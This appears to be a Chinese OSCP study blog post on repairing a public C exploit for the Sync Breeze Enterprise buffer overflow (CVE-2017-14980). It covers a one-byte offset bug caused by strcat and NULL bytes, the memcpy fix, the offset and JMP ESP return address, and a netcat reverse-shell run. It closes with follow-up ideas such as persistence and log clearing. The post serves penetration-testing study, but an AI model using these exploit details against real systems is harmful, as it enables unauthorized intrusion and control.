❽⁄₆ ⟦ OSCP ⬖ 研记 ⟧ 修改漏洞利用脚本 ➱ 修改缓冲区偏移量

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀

​​

▶ 信息收集

▶ 漏洞检测
▶ 初始立足点 ➢ 修改漏洞利用脚本 ➢ 修改缓冲区偏移量 🔥🔥🔥

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.修改缓冲区溢出利用脚本实战

[1.2 测试编译后的漏洞利用exe文件](#1.2 测试编译后的漏洞利用exe文件)

[1.2.1 设置调试断点(测试.exe文件是否正确执行)](#1.2.1 设置调试断点(测试.exe文件是否正确执行))

[1.2.1.1 为什么要设置调试断点?](#1.2.1.1 为什么要设置调试断点?)

[1.2.1.2 界定执行成功与失败](#1.2.1.2 界定执行成功与失败)

[1.2.2 运行漏洞利用.exe文件(出错)](#1.2.2 运行漏洞利用.exe文件(出错))

[1.2.2.1 运行出错](#1.2.2.1 运行出错)

[1.2.2.2 原因分析:偏移量计算错误](#1.2.2.2 原因分析:偏移量计算错误)

[1.2.3 缓冲区偏移量错位分析与修复](#1.2.3 缓冲区偏移量错位分析与修复)

[1.2.3.1 关键代码逻辑分析](#1.2.3.1 关键代码逻辑分析)

[1.2.3.2 缓冲区偏移量错位原因具体分析](#1.2.3.2 缓冲区偏移量错位原因具体分析)

1.错误发生过程(关键两步)

2.灾难性后果:1字节的偏移

3.根本教训与解决方案

[1.2.3.3 修复方案](#1.2.3.3 修复方案)

1.方法一:调整填充大小

2.方法二:改用二进制复制(推荐)

[1.2.4 成功实现反向Shell:完整漏洞利用链验证](#1.2.4 成功实现反向Shell:完整漏洞利用链验证)

[1.2.4.1 编译与准备阶段](#1.2.4.1 编译与准备阶段)

[1.2.4.2 攻击执行步骤](#1.2.4.2 攻击执行步骤)

[1.2.5 安全启示](#1.2.5 安全启示)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.修改缓冲区溢出利用脚本实战

本例以Sync Breeze Enterprise**(这是一个文件管理同步软件)** 为目标,对其漏洞利用分析与修改,并最终利用,漏洞编号:CVE-2017-14980。


接上文,在原始的漏洞利用脚本上修改了本测试的IP地址、端口、有效的返回地址,并重新自定义了Shellcode(来实现反向shell)后,就可以对.c文件进行再次编译(.exe文件),本文从这开始。

1.2 测试编译后的漏洞利用exe文件

1.2.1 设置调试断点(测试.exe文件是否正确执行)

  • 我们返回到刚才连接了SyncBreeze的Immuntiy调试器,按Ctrl+G 跳转到返回地址 0x10090c83 (JMP ESP),这个是刚刚payload设置的返回地址。

  • 在此处,按F2设置断点,用于捕获程序跳转到攻击代码的时刻。

  • 一旦在调试器中设置了断点,可以让应用程序正常运行,并尝试从Kali执行攻击。


1.2.1.1 为什么要设置调试断点?

简单来说,设置断点就像在程序的执行路径上设置一个"交通管制点" 。它的目的是:让程序在执行到某个你指定的、非常精确的位置时,自动暂停下来。

比喻 解释
电影暂停键 程序像一部电影在播放。断点就是你按下的"暂停键",可以让你看清楚某一帧画面(程序某一瞬间的状态)。

具体到本例,在之前的漏洞利用场景中,为什么要设置断点?

之前的步骤是:

  1. 填充 了780个A。

  2. 放置返回地址 \x83\x0c\x09\x10(对应 0x10090c83),这个地址包含一条 JMP ESP 指令。

  3. 你希望程序执行流被劫持后,准确地跳转到这个地址 ,然后执行后面的shellcode。

设置断点的目的就是为了验证:

"程序真的如我所料,精准地跳转到我设定的 0x10090c83 这个地址了吗?"

如果没有断点,程序会以极快的速度执行过去,无论成功还是失败,你都不知道中间具体发生了什么。


1.2.1.2 界定执行成功与失败
  • 成功情况 :成功触发断点,程序在 0x10090c83 处暂停,EIP 寄存器(当前执行地址)正好显示这个值。这证明缓冲区溢出成功,地址覆盖准确 。你可以按F7/F8单步执行,亲眼看到它执行JMP ESP,然后滑入你的shellcode区域。

  • 失败情况 (正如你遇到的,这个后面会说到):程序没有在断点处暂停,而是直接崩溃了。这立刻告诉你**"事情没有按计划发生"** 。然后你检查崩溃时的EIP值(0x9010090c),发现它和你预期的地址很像,但错位了 。这直接、无可辩驳地证明了你的偏移量计算有误。


1.2.2 运行漏洞利用.exe文件(出错)

1.2.2.1 运行出错
  • 在Kali中使用Wine兼容层运行编译好的Windows可执行文件

  • Wine允许在Linux系统上运行Windows程序

出现意外结果: 程序未触发断点,而是直接运行崩溃,EIP寄存器被返回地址覆盖显示:

错误值: 0x9010090c;而

正确值: 0x10090c83。

可以观察出,偏移一个字节。(上面的对比肉眼就可以看出来。)


1.2.2.2 原因分析 :偏移量计算错误

预期 vs 实际对比

项目 预期值 实际值 差异分析
EIP寄存器 0x10090c83 0x9010090c 字节错位1字节
内存布局 准确覆盖返回地址 偏移1字节,读取错误地址
程序行为 跳转到JMP ESP执行攻击代码 执行无效地址导致崩溃

关键发现 :返回地址的起始位置偏移了1字节,导致CPU读取了错误的内存内容。

🎯 根本原因:缓冲区构造错误

可能的原因:

  1. 字符串终止符问题 :C语言字符串自动添加\x00结尾

  2. 填充计算错误:初始缓冲区大小或填充计数有误

  3. 内存对齐问题:不同平台的内存对齐差异

  4. 编译器优化:交叉编译器对代码的隐式修改

比喻: 想象在多米诺骨牌阵列中设置触发机关:

  • 预期:第780张骨牌倒下后,正好触发机关

  • 实际 :第779张骨牌就触发了,导致连锁反应错位

    结果是整个攻击序列未能精准执行

📊 调试观察要点

观察项 正常情况 当前问题
EIP值 与JMP ESP地址匹配 字节错位的相似值
断点触发 程序暂停在断点处 断点未触发,程序崩溃
堆栈状态 返回地址准确覆盖 返回地址偏移1字节

调整策略

  • 尝试将偏移量调整为779或781字节

  • 检查并确保返回地址不被任何额外字节干扰

  • 验证漏洞利用代码中的内存分配和复制操作

最终结论 :虽然首次测试失败,但通过分析EIP的错误值,我们获得了关键的调试信息------偏移量计算存在1字节误差。这为后续修复提供了明确方向,是漏洞开发过程中常见的调试和优化环节。


1.2.3缓冲区偏移量错位分析与修复

1.2.3.1 关键代码逻辑分析

分配780字节的内存空间。780是以字节为单位的偏移量,用于覆盖堆栈上的返回地址并控制EIP寄存器。

使用memset将内存分配填充为特定字符,在本例子中是"0x41",即ASCII中"A"字符的十六进制表示。

然后,又一次调用memset,它将分配中的最后一个字节设置为终止符(NULL字节),将缓冲区转换为字符串。

为什么将缓冲区转换为字符串起初可能会感到困惑,但是继续阅读代码,我们会到达最终buffer被创建的行。

代码 作用 隐藏问题
char *buffer = malloc(buffer_length); 分配了一个动态内存块,大小为 buffer_length,并返回一个指向该内存块的指针,buffer 将指向这个内存块。 分配一定大小的内存
memset(buffer, 0x00, buffer_length); 将分配给 buffer 的内存空间初始化为0(即用 0x00 填充)。 缓冲区内容用0填满
strcpy(buffer, request_one); 用 strcpy函数(字符串复制函数) 将 request_one 字符串追加复制到到 buffer 中,直到遇到字符串结束符 \0 为止。 把 request_one 字符串内容追加到buffer后(在python上直接用+)
strcat(buffer, content_length_string) 用 strcat 将 content_length_string 追加到 buffer 的末尾 继续把 content_length_string字符串的内容追加到buffer后
strcat(buffer, ***) 继续在buffer追加内容 后续以此类推,反复使用strcat追加

偏移量计算错误

从上面的代码顺序可以看到:

因为在C语言中,字符串通常是以NULL字节(0x00)结尾 的字符数组。例如,字符串 "Hello" 的内存表示可能是:**'H' 'e' 'l' 'l' 'o' '\0'。**这样在继续添加返回地址时cpu会忽略前面结尾的NULL字节(0x00),导致如下的结果:

bash 复制代码
预期偏移:780个"A"后放置返回地址
实际偏移:779个"A" + 1个NULL + 返回地址
结果:返回地址**提前了1字节**

EIP错位现象

bash 复制代码
预期EIP:0x10090c83  (返回地址: \x83\x0c\x09\x10)
实际EIP:0x9010090c  (错位1字节: \x0c\x09\x10\x90)

原因:CPU从错误的内存位置读取了4个字节作为返回地址。


1.2.3.2缓冲区偏移量错位原因具体分析

在C语言的世界里,字符串是一个以**\x00 (NULL) 结尾** 的字符序列。像 strcpy、strcat 这样的函数,都依赖这个NULL字节来自动判断字符串在哪里结束。

然而,在缓冲区溢出攻击中,我们构造的攻击载荷是一个精确的二进制序列 ,每个字节的位置都至关重要,且载荷本身很可能就包含 \x00 字节。

1.错误发生过程(关键两步)
  • 制造一个"字符串":

    bash 复制代码
    char *padding = malloc(780);          // 分配780字节
    memset(padding, 0x41, 780);           // 全部填满 'A' (0x41)
    memset(padding + 779, 0x00, 1);       // 针对padding指向的内存块的最后一个字节,即padding + 779这个位置进行操作。

    **详细说明:**padding + 779是指:padding 指针偏移了779个字节,指向最后一个字节。memset(padding + 779, 0x00, 1) 的意思是把该位置的字节设置为0x00,即将最后一个字节修改为0。这样,原本填充为 'A' 的内存块最后一个字节会被改为 0x00。

    至此,padding 在C语言看来,就是一个 "长度为779的有效字符串" (779个A + 1个结尾NULL)。

  • 用"字符串逻辑"拼接二进制数据:

    bash 复制代码
    strcat(buffer, padding); // 拼接"填充字符串"
    strcat(buffer, retn);    // 在其后拼接"返回地址"

    strcat 会在 buffer 中寻找第一个NULL字节 作为起点。由于 padding 的结尾就是NULL,所以 retn 的地址数据,会从 buffer 的第780字节处 开始写入,这就出现了偏移!

2.灾难性后果:1字节的偏移
预期布局 实际布局
[779个'A'][第780个'A'][返回地址]... [779个'A'][0x00][返回地址]...
  • 期望 :返回地址从第780个字节(最后一个A之后)开始覆盖。

  • 现实 :返回地址从第780个字节(那个NULL字节)开始覆盖。

  • 结果 :内存中的整个攻击载荷整体前移了1个字节。CPU尝试从错误的位置读取"返回地址",执行流彻底失控,导致程序崩溃而非执行shellcode。

3.根本教训与解决方案
  • 勿用字符串函数处理攻击载荷 :strcpy/strcat 因NULL字节截断的特性,是构造精确二进制攻击载荷的"天敌"。

  • 使用二进制安全函数 :应使用 memcpy 来精确控制字节的复制位置和长度,它能忠实复制所有字节(包括\x00)。


1.2.3.3 修复方案
1.方法一:调整填充大小
bash 复制代码
// 原代码
int initial_buffer_size = 780;
char *padding = malloc(initial_buffer_size); 
memset(padding, 0x41, initial_buffer_size);
memset(padding + initial_buffer_size - 1, 0x00, 1);

修改如下,这样就实现了不偏离。

复制代码
2.方法二:改用二进制复制(推荐)
bash 复制代码
// 放弃字符串操作,使用memcpy精确控制
char *buffer = malloc(total_length);
int offset = 0;

// 复制请求头
memcpy(buffer + offset, request_one, strlen(request_one));
offset += strlen(request_one);

// 复制填充(780个'A',无NULL)
memcpy(buffer + offset, padding, 780);  // padding是纯'A',无终止符
offset += 780;

// 复制返回地址
memcpy(buffer + offset, "\x83\x0c\x09\x10", 4);
offset += 4;

// 复制shellcode
memcpy(buffer + offset, shellcode, shellcode_len);

🎯 修复后验证

修复后应能观察到:

  • 断点正常触发 :程序在0x10090c83处暂停

  • EIP正确覆盖:EIP寄存器显示预期的返回地址

  • 程序流成功劫持:顺利执行JMP ESP,进入NOP滑道和shellcode


1.2.4 成功实现反向Shell:完整漏洞利用链验证

1.2.4.1 编译与准备阶段
  • 修复偏移量后重新编译C代码

  • 生成独立的Windows可执行文件 syncbreeze_exploit.exe

  • 无需依赖Windows开发环境,完全在Kali中完成

同时,目标环境准备

  • 确保目标Windows机器运行Sync Breeze服务

  • 服务处于可被访问状态


1.2.4.2 攻击执行步骤
步骤 操作 工具 目的
① 监听准备 在Kali上启动Netcat监听443端口 nc -nlvp 443 等待反向Shell连接
② 启动攻击 在另一个终端使用Wine运行漏洞利用 wine syncbreeze_exploit.exe 触发目标漏洞
③ 漏洞触发 利用程序发送恶意请求到目标服务 定制化漏洞利用代码 触发缓冲区溢出,执行Shellcode
④ Shell获取 Netcat接收到连接并显示Shell提示符 自动建立会话 获得目标系统控制权

①本地kali上的一个终端:

②本地kali上的另一个终端:

③等待漏洞触发

④在①的终端上收到反向shell

攻击流程图

bash 复制代码
[Kali攻击机] 
    ├── [终端1]:Netcat监听 443端口 ←──┐
    └── [终端2]:执行漏洞利用程序 → [目标Windows] 
                                          ↓
                                  [触发缓冲区溢出]
                                          ↓
                                    [执行Shellcode]
                                          ↓
                                [建立反向TCP连接到Kali]
                                          ↓
                                  [Kali获得Shell控制]

1.2.5 安全启示

防御建议

  1. 及时更新:修复已知漏洞,尤其是公开的缓冲区溢出

  2. 最小权限:服务账户使用最低必要权限

  3. 深度防御:启用DEP、ASLR等内存保护机制

  4. 网络监控:检测异常连接(如到攻击机的443端口)

攻击者视角的收获

  • 公开漏洞利用代码需要针对性修改才能实际使用

  • 精确调试是漏洞武器化的关键环节

  • 理解目标环境内存布局对攻击成功至关重要

📈 后续扩展方向

  1. Payload升级:替换为Meterpreter等高级后门

  2. 持久化机制:添加自启动、服务安装等功能

  3. 横向移动:以此Shell为跳板,探索内网其他目标

  4. 清理痕迹:添加日志清除、反取证功能

最终结论:通过系统的分析、精确的修改和专业的工具链整合,我们成功将一个公开的C语言漏洞利用代码转化为能够实际攻击目标系统的武器,并获得了反向Shell控制权限。这不仅验证了漏洞的存在,也展示了从理论研究到实战应用的完整渗透测试流程。

接下来,有个很重要的核心问题将放在下一篇文章详细说明:

怎么知道指针跳到某个返回地址(例如:\xcb\x75\x52\x73)上,就可以执行我们的payload?


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。感谢阅读,下一篇文章见。

相关推荐
m0_547486661 天前
《信息安全基础》全套PPT课件2026
网络安全·信息安全
m0_715674431 天前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
大数据·网络·人工智能·网络安全
晓德1 天前
7、LLM 模型是怎么训练生成的?(4)指令微调
人工智能·学习·算法·信息安全
白帽攻防录1 天前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的2 天前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop2 天前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全2 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
腾科IT教育2 天前
CISP是什么证书?含金量、报名条件与用途解析
信息安全·cisp·cisp认证·cisp报名条件·国家级证书
刘婉晴2 天前
【APP安全测试】Frida 基础
网络安全
科技象限2 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神